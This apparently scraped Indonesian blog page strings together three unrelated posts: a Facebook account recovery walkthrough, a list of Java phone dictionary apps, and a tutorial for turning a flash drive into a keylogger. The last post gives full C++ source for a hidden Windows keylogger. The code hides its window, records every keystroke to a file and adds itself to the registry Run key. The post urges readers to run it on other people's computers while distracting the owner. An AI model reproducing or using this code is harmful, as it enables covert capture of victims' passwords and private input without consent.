Cara Mengembalikan Account Facebook yang di Hack dan Alamat Address di ganti

Mari mengembalikan account Facebook anda yang sudah di hack. Jika FB account anda di hack dan semua cara recovery sudah tidak mungkin seperti email, no telp, security answer karena sudah di ubah oleh hacker, maka coba cara mengembalikan account FB anda dengan menggunakan email baru.
Saya mengorbankan account Facebook saya untuk di jadikan percobaan, semoga bisa membantu semua yang account FB-nya di hack orang.


Ok Mulai!
 Pada halaman utama Facebook, klik di [Forgot your password?]


 Pilih cara untuk mengindentify account FB anda.
Jika email anda telah di ganti, cara yang mungkin hanya no. 2 dan no. 3 saja.
Cara no.1 adalah tidak mungkin jika email account FB anda telah diganti oleh hacker.
Cara no. 3 adalah yang paling mudah dan cepat, jika anda ingat persis nama anda dan salah nama teman anda di banding cara no. 2 yang kebanyakan orang tidak ingat username mereka.


 Setelah ketemu FB profile anda, klik di [No longer have access to these?]

 Masukkan email baru anda


 Masukkan security question yang sebelumnya sudah anda setup di FB.


 Jika berhasil menjawab security question, anda akan diminta untuk memasukkan password baru.


 Silakan cek email baru anda untuk proses lebih lanjut mengembalikan account FB anda.

 Anda akan mendapatkan email dengan subject [Facebook Account Recovery], klik pada link yang terdapat pada email.

Anda harus menunggu selama 24 jam sebelum dapat mengakses account FB anda.
Jika hacker bermaskud login kembali ke account tersebut, dia akan mendapat pesan seperti di bawah ini.
Hacker itu juga tidak akan bisa mengakses account FB kamu.

Hope this helps…

Kumpulan Aplikasi Kamus Untuk HP

Abis seharian libur...'N banyak kesibukan juga jadi smangat nih pengen posting yang agak tersendat beberapa hari.

Kali ini ane mau memberikan koleksi Aplikasi Kamus yang di peruntukkan untuk HP JAVA (karna HP ane Java), so..buat Symbian...mungkin bisa.

Kamus sangat penting buat kita", apalagi buat yang baru belajar dan banyak ingin mengetahui tentang arti dan pengertian sesuatu yang belum kita mengerti/pahami...

Ga usah basa-basi dah...nih ane sebar sekarang juga...

1. KAMUS ARAB-INGGRIS

        

2. KAMUS  CINTA

3. KAMUS JAWA-INDONESIA

4. KAMUS KALIMAT INDONESIA

  

5. KAMUS ENGLISH PRO

6.KAMUS SUNDA-INDONESIA

7. KAMUS KOMPUTER

8. KAMUS ARAB-INDONESIA

Nah...inilah koleksi aplikasi kamus ane yang dulu pernah dipake (skarng dah ga lagi). 

Mohon maaf tidak ada penjelasan dari masing-masing aplikasi tersebut, silahkan di pelajari sendiri..cos ini cuma dibaca doang ko' ga pake mikir...hehehe

SEMOGA BERMANFAAT

sumber : http://emie.mywapblog.com/kumpulan-aplikasi-kamus-untuk-hp.xhtml

Cara buat flashdisk jadi mesin keylogger

• Pertama kamu harus menyediakan flash disk atau USB kamu masing-masing (yang g jorok atau bebas virus nya, biar komputer orang g rusak).

• Lalu kamu mesti download C++.download di http://www.brothersoft.com/dev-c++-65296.html.

• Setelah anda download C++, anda buka dan install

• Setelah di install, open dan tulis code ini :

Code:

#include
#include
#include

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
  
    int test,create;
    test=test_key();/*check if key is available for opening*/
        
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\Log.exe";/*the path in which the file needs to be*/
        create=create_key(path);
        
    }
      
  
    int t=get_keys();
  
    return t;
}

int get_keys(void)
{
            short character;
              while(1)
{
                    
    for(character=8;character<=222;character++)
{
    if(GetAsyncKeyState(character)==-32767)
{  
                            
     FILE *file;
    file=fopen("log.log","a+");
if(file==NULL)
{
return 1;
}          
if(file!=NULL)
{      
if((character>=39)&&(character<=64))
{
    fputc(character,file);
    fclose(file);
    break;
}      
    else if((character>64)&&(character<91))
{
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
}
    else
{
    switch(character)
{
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;  
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                          
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;  
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                              
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }      
                                   }  
                              }      
                    }  
                }                
                    
            }
            return EXIT_SUCCESS;                          
}                                                

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
  
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {  
        check=1;
        return check;
    }      
          
    reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);
  
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
        
    RegCloseKey(hKey);
    return check;  
}
  
int create_key(char *path)
{  
        int reg_key,check;
      
        HKEY hkey;
      
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
              
        return check;
}

• Na, kan sudah menjadi folder, tinggal kamu copy ke flash disk


• Selanjutnya, tinggal kamu jalanin aja di komputer orang lain lewat flash disk kamu, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete

• Tetapi kalau yang punya komputer Tanya “ko flash disk nya g d lepas?”, na tinggal basa-basi da ama yang punya computer,, hehehehhehehehe





(keylogger ini bersifat tersembunyi dan susah untuk di lacak [menurut saya], jadi moga-moga bermanfaat deh,,,)